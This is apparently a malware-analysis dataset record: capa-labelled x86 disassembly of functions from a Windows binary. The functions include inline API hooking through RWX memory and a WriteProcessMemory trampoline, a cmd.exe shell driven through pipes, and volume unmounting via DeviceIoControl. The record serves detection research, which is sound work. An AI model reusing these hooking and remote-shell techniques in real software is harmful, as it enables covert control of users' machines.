joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4878f0
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Terminate process

Disassembly:
push ecx
push esi
mov esi, ecx
mov eax, dword [esi + 0x6c]
test eax, eax
jne 0x48795b
lea eax, [esp + 4]
push 0
push eax
call fcn.00487790
mov eax, dword [eax]
add esp, 8
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [esi + 0x6c], eax
mov eax, dword [esp + 4]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x487938
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
mov eax, dword [esi + 0x6c]
test eax, eax
je 0x48795b
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x48795b
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
pop esi
pop ecx
ret

Function at 0x488820
Capabilities:
Access peb ldr_data
Get process heap force flags

Disassembly:
push 0xffffffffffffffff
push 0x4f85e0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x18
push ebx
push ebp
push esi
push edi
call fcn.004df219
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0xc]
add eax, 0x10
mov dword [esp + 0x10], eax
mov ebx, dword [esp + 0x3c]
mov esi, dword [ebx]
mov eax, dword [esi - 0xc]
mov ebp, dword [esp + 0x40]
lea edi, [eax + 1]
mov eax, dword [ebp + 4]
test eax, eax
mov dword [esp + 0x30], 0
je 0x488877
push eax
call fcn.004df1b9
add esp, 4
push edi
mov dword [ebp], edi
call fcn.004df1be
add esp, 4
test esi, esi
mov dword [ebp + 4], eax
je 0x48889c
mov ecx, edi
mov edi, eax
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [ebx]
lea ecx, [esp + 0x10]
push ecx
mov ecx, dword [esp + 0x3c]
push eax
push str.Computer
call fcn.0047d230
lea ecx, [esp + 0x14]
call fcn.004ddd65
mov eax, dword [esp + 0x10]
lea edx, [esp + 0x14]
push edx
push 0x2c
mov ebx, 1
push eax
mov byte [esp + 0x3c], bl
call fcn.0047c390
mov eax, dword [esp + 0x28]
add esp, 0xc
cmp eax, 3
jne 0x488934
mov ecx, dword [esp + 0x18]
mov eax, dword [ecx]
push eax
call fcn.004cef45
mov dword [ebp + 8], eax
mov eax, dword [esp + 0x20]
add esp, 4
cmp eax, ebx
jg 0x488900
jmp fcn.004dced3
mov edx, dword [esp + 0x18]
mov eax, dword [edx + 4]
push eax
call fcn.004cef45
mov dword [ebp + 0xc], eax
mov eax, dword [esp + 0x20]
add esp, 4
cmp eax, 2
jg 0x488921
jmp fcn.004dced3
mov eax, dword [esp + 0x18]
mov eax, dword [eax + 8]
push eax
call fcn.004cef45
add esp, 4
mov dword [ebp + 0x10], eax
lea ecx, [esp + 0x14]
mov byte [esp + 0x30], 0
call fcn.004dddb7
mov eax, dword [esp + 0x10]
add eax, 0xfffffff0
mov dword [esp + 0x30], 0xffffffff
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x488968
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
mov ecx, dword [esp + 0x28]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x24
ret
Function at 0x488c60
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4f8640
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
push edi
call fcn.004df219
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0xc]
add eax, 0x10
mov dword [esp + 0xc], eax
mov dword [esp + 0x18], 0
call fcn.004df219
mov edx, dword [eax]
mov ecx, eax
call dword [edx + 0xc]
add eax, 0x10
mov dword [esp + 8], eax
mov esi, dword [esp + 0x24]
mov eax, dword [esi]
push eax
lea eax, [esp + 0x10]
push 0x503568
push eax
mov byte [esp + 0x24], 1
call fcn.00401c40
mov eax, dword [esi + 0x14]
mov ecx, dword [esi + 0x10]
mov edx, dword [esi + 0xc]
mov edi, dword [esi + 8]
mov esi, dword [esi + 4]
push eax
push ecx
push edx
push edi
push esi
lea ecx, [esp + 0x28]
push str._d__d__d__d__d
push ecx
call fcn.00401c40
mov esi, dword [esp + 0x30]
mov edi, dword [esp + 0x34]
mov ecx, dword [esp + 0x48]
add esp, 0x28
push esi
push edi
push str.Path
call fcn.0047d1a0
lea eax, [esi - 0x10]
mov byte [esp + 0x18], 0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x488d20
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
lea eax, [edi - 0x10]
mov dword [esp + 0x18], 0xffffffff
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
pop edi
pop esi
jg 0x488d44
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
mov ecx, dword [esp + 8]
mov dword fs:[0], ecx
add esp, 0x14
ret

Function at 0x48a070
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push 0xffffffffffffffff
push 0x4f86a6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebp
push esi
mov esi, ecx
mov dword [esi], 0x50bc68
push edi
xor edi, edi
mov dword [esp + 0xc], esi
mov dword [esi + 4], 0x50bc50
mov dword [esi + 8], edi
mov dword [esi + 0x14], edi
mov dword [esi + 0x10], edi
mov dword [esi + 0xc], edi
mov dword [esi + 0x18], edi
mov dword [esi + 0x1c], edi
mov dword [esp + 0x18], edi
mov dword [esi + 0x20], 0x4fffe8
mov dword [esi + 0x24], edi
mov dword [esi + 0x30], edi
mov dword [esi + 0x2c], edi
mov dword [esi + 0x28], edi
lea ebp, [esi + 0x34]
mov ecx, ebp
mov byte [esp + 0x18], 1
call fcn.0045ef50
mov ecx, dword [esp + 0x10]
mov dword [ebp + 4], eax
mov byte [eax + 0x15], 1
mov eax, dword [ebp + 4]
mov dword [eax + 4], eax
mov eax, dword [ebp + 4]
mov dword [eax], eax
mov eax, dword [ebp + 4]
mov dword [eax + 8], eax
mov dword [ebp + 8], edi
mov dword [esi + 0x40], edi
mov dword [esi + 0x44], edi
mov dword [esi + 0x48], edi
pop edi
mov eax, esi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x10
ret
Function at 0x48aa30
Capabilities:
Parse pe header
Query environment variable

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x114
mov eax, dword [0x52bd18]
push edi
mov dword [esp + 0x114], eax
xor eax, eax
mov ecx, 0x41
lea edi, [esp + 8]
rep stosd dword es:[edi], eax
push 0x104
lea eax, [esp + 0xc]
push eax
push str._SystemRoot_System32User32.dll
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
push str.User32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov ecx, eax
mov dword [0x52e9cc], eax
cmp word [ecx], 0x5a4d
jne 0x48aab0
mov edi, dword [ecx + 0x3c]
mov edx, dword [ecx + edi]
add ecx, edi
cmp edx, 0x4550
jne 0x48aab0
mov ecx, dword [ecx + 0x50]
add ecx, eax
mov dword [0x52e9d0], ecx
mov ecx, dword [esp + 0x114]
call fcn.004ce183
pop edi
mov esp, ebp
pop ebp
ret
mov ecx, dword [esp + 0x114]
add eax, 0x90000
mov dword [0x52e9d0], eax
call fcn.004ce183
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x48ac00
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Print debug messages

Disassembly:
sub esp, 0x10
mov eax, dword [0x52bd18]
push ebp
mov ebp, dword [esp + 0x18]
push esi
push edi
xor edi, edi
xor esi, esi
mov dword [esp + 0x18], eax
mov dword [esp + 0xc], esi
jmp 0x48ac20
mov cl, byte [esi + ebp]
cmp cl, 0x70
lea eax, [esi + ebp]
jb 0x48ac30
cmp cl, 0x7f
jbe 0x48ac46
push eax
call fcn.0048aad0
add esi, eax
add esp, 4
cmp esi, 6
mov dword [esp + 0xc], esi
jb 0x48ac20
jmp 0x48ac4f
cmp esi, 6
jb 0x48ad6c
push ebx
push 0x40
push 0x1000
push 0x50
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push 0x50
mov ebx, eax
push 0x52a840
push ebx
call fcn.004ce8a0
mov eax, dword [esp + 0x34]
mov edx, dword [esp + 0x38]
mov dword [ebx + 0x1a], edx
lea ecx, [eax*4]
mov word [ebx + 0x2f], cx
mov dword [ebx + 0x44], ebp
mov eax, dword [esp + 0x1c]
mov dword [ebx + 0x4b], eax
mov ecx, dword [esp + 0x1c]
mov edx, ecx
shr ecx, 2
mov esi, ebp
lea edi, [ebx + 0x33]
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
add esp, 0xc
xor esi, esi
mov dword [esp + 0x10], esi
mov al, byte [esi + ebp]
cmp al, 0xe9
jne 0x48acdf
push str.Match_Code_0xE9_r_n
call edi
mov eax, dword [esp + 0x10]
mov edx, dword [eax + ebx + 0x34]
mov ecx, ebp
sub ecx, ebx
sub ecx, 0x33
add edx, ecx
mov dword [eax + ebx + 0x34], edx
mov esi, dword [esp + 0x10]
jmp 0x48ad0d
cmp al, 0xe8
jne 0x48ad05
push str.Match_Code_0xE8_r_n
call edi
mov eax, dword [esp + 0x10]
mov ecx, dword [eax + ebx + 0x34]
mov edx, ebp
sub edx, ebx
sub edx, 0x33
add ecx, edx
mov dword [eax + ebx + 0x34], ecx
mov esi, dword [esp + 0x10]
jmp 0x48ad0d
cmp al, 0x70
jb 0x48ad0d
cmp al, 0x7f
jbe 0x48ad26
lea eax, [esi + ebp]
push eax
call fcn.0048aad0
add esi, eax
add esp, 4
cmp esi, 6
mov dword [esp + 0x10], esi
jb 0x48acb6
jmp 0x48ad2d
push str.Match_Code_0x70____0x7F_r_n
call edi
lea ecx, [esp + 0x10]
push ecx
push 6
lea edx, [esp + 0x1c]
push edx
push ebp
mov dword [esp + 0x20], ebx
mov byte [esp + 0x24], 0x68
mov dword [esp + 0x25], ebx
mov byte [esp + 0x29], 0xc3
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, ebx
pop ebx
pop edi
pop esi
pop ebp
mov ecx, dword [esp + 0xc]
call fcn.004ce183
add esp, 0x10
ret
mov ecx, dword [esp + 0x18]
mov eax, edi
pop edi
pop esi
pop ebp
call fcn.004ce183
add esp, 0x10
ret

Function at 0x48ad80
Capabilities:
Query environment variable

Disassembly:
push edi
push 0x104
push 0x52e8c8
xor eax, eax
mov ecx, 0x41
mov edi, 0x52e8c8
push str._SystemRoot_System32MSCTF.dll
rep stosd dword es:[edi], eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
call fcn.0048aa30
push str.LoadLibraryExW
push str.Kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
pop edi
je 0x48adda
push 0x48a980
push 3
push eax
call fcn.0048ac00
add esp, 0xc
mov dword [0x52e9d4], eax
ret
Function at 0x48f2a0
Capabilities:
Access peb ldr_data
Set file attributes

Disassembly:
push 0xffffffffffffffff
push 0x4f896e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
push ebx
push esi
push edi
mov edi, ecx
mov dword [esp + 0x14], edi
call fcn.0048efe0
xor ebx, ebx
lea esi, [edi + 0x34]
mov ecx, esi
mov dword [esp + 0x20], ebx
mov dword [edi], 0x50c134
mov dword [edi + 0x30], ebx
call fcn.0045ef50
mov dword [esi + 4], eax
mov cl, 1
mov byte [eax + 0x15], cl
mov eax, dword [esi + 4]
mov dword [eax + 4], eax
mov eax, dword [esi + 4]
mov dword [eax], eax
mov eax, dword [esi + 4]
mov dword [eax + 8], eax
mov dword [esi + 8], ebx
mov byte [esp + 0x20], cl
lea esi, [edi + 0x40]
push 0x4fca4e
mov ecx, esi
call fcn.00401fd0
lea eax, [esp + 0x10]
push eax
mov byte [esp + 0x24], 2
call fcn.00481390
push str.DataPkgDeleted.ini
push eax
lea ecx, [esp + 0x18]
mov bl, 3
push ecx
mov byte [esp + 0x30], bl
call fcn.00401e30
add esp, 0x10
push eax
mov ecx, esi
mov byte [esp + 0x24], 4
call fcn.004040e0
mov esi, dword [esi]
push 0x80
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov eax, dword [esp + 0xc]
add eax, 0xfffffff0
mov byte [esp + 0x20], bl
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x48f373
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
mov eax, dword [esp + 0x10]
add eax, 0xfffffff0
mov byte [esp + 0x20], 2
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x48f396
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
call dword [edx + 4]
mov ecx, dword [esp + 0x18]
mov eax, edi
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x18
ret
Function at 0x492900
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push 0xffffffffffffffff
push 0x4f8d47
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0xc], esi
call fcn.00401270
lea ebp, [esi + 0x20]
xor edi, edi
mov ecx, ebp
mov dword [esp + 0x18], edi
call fcn.0045ef50
mov dword [ebp + 4], eax
mov byte [eax + 0x15], 1
mov eax, dword [ebp + 4]
mov dword [eax + 4], eax
mov eax, dword [ebp + 4]
mov dword [eax], eax
mov eax, dword [ebp + 4]
mov dword [eax + 8], eax
mov dword [ebp + 8], edi
mov dword [esi + 0x2c], edi
mov dword [esi + 0x30], edi
mov dword [esi + 0x38], edi
mov dword [esi + 0x3c], reloc.OLEAUT32.dll_SafeArrayGetElement
mov dword [esi + 0x40], 0x11
mov dword [esi + 0x34], 0x50c2ac
mov dword [esi + 0x4c], edi
mov dword [esi + 0x50], edi
mov dword [esi + 0x54], edi
mov dword [esi + 0x58], edi
mov dword [esi + 0x5c], edi
mov dword [esi + 0x60], edi
mov dword [esi + 0x64], edi
mov dword [esi + 0x68], edi
mov dword [esi + 0x6c], edi
mov dword [esi + 0x70], edi
mov dword [esi + 0x74], edi
mov dword [esi + 0x78], edi
lea ecx, [esi + 0x7c]
mov byte [esp + 0x18], 2
call fcn.004dd370
lea ecx, [esi + 0x84]
mov byte [esp + 0x18], 3
call fcn.004dd370
lea ebp, [esi + 0x8c]
mov ecx, ebp
mov byte [esp + 0x18], 4
call fcn.0045ef50
mov ecx, dword [esp + 0x10]
mov dword [ebp + 4], eax
mov byte [eax + 0x15], 1
mov eax, dword [ebp + 4]
mov dword [eax + 4], eax
mov eax, dword [ebp + 4]
mov dword [eax], eax
mov eax, dword [ebp + 4]
mov dword [eax + 8], eax
mov dword [ebp + 8], edi
mov dword [esi + 0x9c], edi
mov dword [esi + 0xa8], edi
mov dword [esi + 0xa4], edi
mov dword [esi + 0xa0], edi
pop edi
mov dword [esi + 0x98], 0x50c2a0
mov eax, esi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x10
ret
Function at 0x4931e0
Capabilities:
Create pipe
Create process on windows
Create process suspended
Create two anonymous pipes

Disassembly:
sub esp, 0x60
mov eax, dword [0x52bd18]
push ebx
push ebp
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_CreatePipe]
push 0
mov dword [esp + 0x70], eax
mov esi, ecx
lea eax, [esp + 0x18]
push eax
lea ecx, [esi + 8]
push ecx
lea ebx, [esi + 0xc]
push ebx
mov dword [esp + 0x24], 0xc
mov dword [esp + 0x28], 0
mov dword [esp + 0x2c], 1
call edi
push 0
lea edx, [esp + 0x18]
push edx
mov dword [esp + 0x18], eax
lea ebp, [esi + 0x10]
push ebp
lea eax, [esi + 4]
push eax
call edi
mov ecx, dword [esp + 0x10]
test ecx, ecx
je 0x4932f1
test eax, eax
je 0x4932f1
mov edx, dword [str.cmd.exe]
mov ebp, dword [ebp]
xor eax, eax
mov ecx, 0x11
lea edi, [esp + 0x20]
rep stosd dword es:[edi], eax
mov ecx, dword [ebx]
mov dword [esp + 0x58], ecx
add esi, 0x14
push esi
lea ecx, [esp + 0x24]
push ecx
push 0
push 0
push 0
push 1
push 0
mov dword [esp + 0x80], edx
push 0
lea edx, [esp + 0x84]
mov word [esp + 0x70], ax
mov eax, dword [0x50c3e8]
push edx
push 0
mov dword [esp + 0x74], 0x101
mov dword [esp + 0x88], ebp
mov dword [esp + 0x84], ebp
mov dword [esp + 0x90], eax
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push 0x32
push 0x50c3a8
call fcn.00407350
mov ecx, eax
call fcn.0040a680
push str.ShellCmd_Init.
push 4
call fcn.0047dea0
add esp, 8
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
mov ecx, dword [esp + 0x5c]
call fcn.004ce183
add esp, 0x60
ret
push 0x24
push 0x50c3a8
call fcn.00407350
mov ecx, eax
call fcn.0040a680
push str.ShellCmd_Init_CreatePipe_Failed_.
push 0x20
call fcn.0047dea0
mov ecx, dword [esp + 0x74]
add esp, 8
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
call fcn.004ce183
add esp, 0x60
ret

Function at 0x493330
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x10
mov eax, dword [0x52bd18]
push ebx
mov dword [esp + 0x10], eax
mov eax, dword [str.exit_n]
push esi
mov esi, ecx
mov cx, word [0x50c404]
mov dword [esp + 0xc], eax
xor ebx, ebx
lea eax, [esp + 0xc]
push edi
mov dword [esp + 0xc], ebx
mov word [esp + 0x14], cx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x493363
mov ecx, dword [esi + 8]
sub eax, edx
push ebx
lea edx, [esp + 0x10]
push edx
push eax
lea eax, [esp + 0x1c]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [esi + 0x14]
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [esi + 0xc]
cmp eax, ebx
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
je 0x4933a1
push eax
call edi
mov dword [esi + 0xc], ebx
mov eax, dword [esi + 0x10]
cmp eax, ebx
je 0x4933ae
push eax
call edi
mov dword [esi + 0x10], ebx
mov eax, dword [esi + 4]
cmp eax, ebx
je 0x4933bb
push eax
call edi
mov dword [esi + 4], ebx
mov eax, dword [esi + 8]
cmp eax, ebx
je 0x4933c8
push eax
call edi
mov dword [esi + 8], ebx
push 0x51
push 0x50c3a8
call fcn.00407350
mov ecx, eax
call fcn.0040a680
push str.ShellCmd_Uninit.
push 4
call fcn.0047dea0
mov ecx, dword [esp + 0x20]
add esp, 8
pop edi
pop esi
pop ebx
call fcn.004ce183
add esp, 0x10
ret
Function at 0x493342
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x10
mov eax, dword [0x52bd18]
push ebx
mov dword [esp + 0x10], eax
mov eax, dword [str.exit_n]
push esi
mov esi, ecx
mov cx, word [0x50c404]
mov dword [esp + 0xc], eax
xor ebx, ebx
lea eax, [esp + 0xc]
push edi
mov dword [esp + 0xc], ebx
mov word [esp + 0x14], cx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x493363
mov ecx, dword [esi + 8]
sub eax, edx
push ebx
lea edx, [esp + 0x10]
push edx
push eax
lea eax, [esp + 0x1c]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edx, dword [esi + 0x14]
push 0xffffffffffffffff
push edx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, dword [esi + 0xc]
cmp eax, ebx
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
je 0x4933a1
push eax
call edi
mov dword [esi + 0xc], ebx
mov eax, dword [esi + 0x10]
cmp eax, ebx
je 0x4933ae
push eax
call edi
mov dword [esi + 0x10], ebx
mov eax, dword [esi + 4]
cmp eax, ebx
je 0x4933bb
push eax
call edi
mov dword [esi + 4], ebx
mov eax, dword [esi + 8]
cmp eax, ebx
je 0x4933c8
push eax
call edi
mov dword [esi + 8], ebx
push 0x51
push 0x50c3a8
call fcn.00407350
mov ecx, eax
call fcn.0040a680
push str.ShellCmd_Uninit.
push 4
call fcn.0047dea0
mov ecx, dword [esp + 0x20]
add esp, 8
pop edi
pop esi
pop ebx
call fcn.004ce183
add esp, 0x10
ret

Function at 0x4934f0
Capabilities:
Write file on windows

Disassembly:
push 0xffffffffffffffff
push 0x4f8d88
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
push edi
mov edi, ecx
lea esi, [edi + 4]
mov ecx, esi
mov dword [esp + 0xc], esi
call fcn.00401300
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0xc]
push ecx
lea ecx, [edi + 0x24]
mov dword [esp + 0x20], 0
call fcn.0044fce0
mov edi, dword [edi + 0x28]
mov eax, dword [esp + 8]
cmp eax, edi
jne 0x49358d
push 0xaa
push 0x50c3a8
call fcn.00407350
mov ecx, eax
call fcn.0040a680
mov edx, dword [esp + 0x20]
push edx
push str.ShellCmd_session_for_view__d__not_exists.
push 0x20
call fcn.0047dea0
mov eax, dword [esi]
add esp, 0xc
mov ecx, esi
mov dword [esp + 0x18], 0xffffffff
call dword [eax + 0x14]
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 8]
mov dword fs:[0], ecx
add esp, 0x14
ret 8
mov edi, dword [esp + 0x24]
mov edx, dword [eax + 0x10]
mov eax, edi
push ebp
mov dword [esp + 0x24], 0
lea ebp, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4935a2
mov edx, dword [edx + 8]
push 0
lea ecx, [esp + 0x28]
push ecx
sub eax, ebp
push eax
push edi
push edx
call dword [sym.imp.KERNEL32.dll_WriteFile]
mov edi, eax
mov eax, dword [esi]
mov ecx, esi
mov dword [esp + 0x1c], 0xffffffff
call dword [eax + 0x14]
mov ecx, dword [esp + 0x14]
pop ebp
mov eax, edi
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret 8
Function at 0x493c20
Capabilities:
Access peb ldr_data

Disassembly:
push 0xffffffffffffffff
push 0x4f8e28
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 4]
push edi
mov ecx, ebx
mov dword [esp + 0xc], ebx
call fcn.00401300
lea eax, [esp + 0x10]
push eax
mov dword [esp + 0x24], 0
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov ecx, dword [esi + 0x3c]
mov edx, dword [esp + 0x14]
mov eax, dword [esp + 0x10]
push 0
push ecx
push edx
push eax
call fcn.004d14a0
mov ecx, dword [esi + 0x30]
mov edi, eax
sub eax, ecx
jne 0x493c81
mov eax, 0xa
mov ecx, dword [esp + 0x28]
mov edx, dword [esi]
add edx, ecx
cmp eax, dword [esi + 0x38]
mov dword [esi], edx
jb 0x493cb6
push edi
mov ecx, esi
call fcn.00493b00
test eax, eax
mov dword [esp + 0x28], eax
fild dword [esp + 0x28]
jge 0x493caa
fadd qword [0x509888]
fstp qword [esi + 0x28]
mov dword [esi], 0
mov dword [esi + 0x30], edi
mov edx, dword [ebx]
mov ecx, ebx
mov dword [esp + 0x20], 0xffffffff
call dword [edx + 0x14]
mov ecx, dword [esp + 0x18]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0x18
ret 4

Function at 0x4966f0
Capabilities:
Unmount volume via ioctl

Disassembly:
sub esp, 0xc
mov eax, dword [0x52bd18]
mov cx, word [0x50c5ac]
mov dl, byte [0x50c5ae]
push esi
push 0
push 0x20000000
push 3
push 0
mov dword [esp + 0x1c], eax
mov eax, dword [0x50c5a8]
push 3
mov word [esp + 0x1c], cx
mov dword [esp + 0x18], eax
mov al, byte [esp + 0x28]
push 0xc0000000
lea ecx, [esp + 0x1c]
push ecx
mov byte [esp + 0x26], dl
mov byte [esp + 0x24], al
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x49675c
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop esi
mov ecx, dword [esp + 8]
call fcn.004ce183
add esp, 0xc
ret
push edi
mov edi, dword [sym.imp.KERNEL32.dll_DeviceIoControl]
push 0
lea edx, [esp + 0x1c]
push edx
push 0
push 0
push 0
push 0
push 0x90018
push esi
call edi
test eax, eax
jne 0x49679a
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call dword [sym.imp.KERNEL32.dll_GetLastError]
pop edi
pop esi
mov ecx, dword [esp + 8]
call fcn.004ce183
add esp, 0xc
ret
push 0
lea eax, [esp + 0x1c]
push eax
push 0
push 0
push 0
push 0
push 0x8000e004
push esi
call edi
test eax, eax
je 0x49677e
push 0
lea ecx, [esp + 0x1c]
push ecx
push 0
push 0
push 0
push 0
push 0x90020
push esi
call edi
test eax, eax
je 0x49677e
push 0
lea edx, [esp + 0x1c]
push edx
push 0
push 0
push 0
push 0
push 0x9001c
push esi
call edi
test eax, eax
push esi
je 0x49677f
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
lea eax, [esp + 0x10]
push eax
push 2
call dword [sym.imp.KERNEL32.dll_DefineDosDeviceA]
test eax, eax
je 0x496785
mov ecx, dword [esp + 0x10]
pop edi
xor eax, eax
pop esi
call fcn.004ce183
add esp, 0xc
ret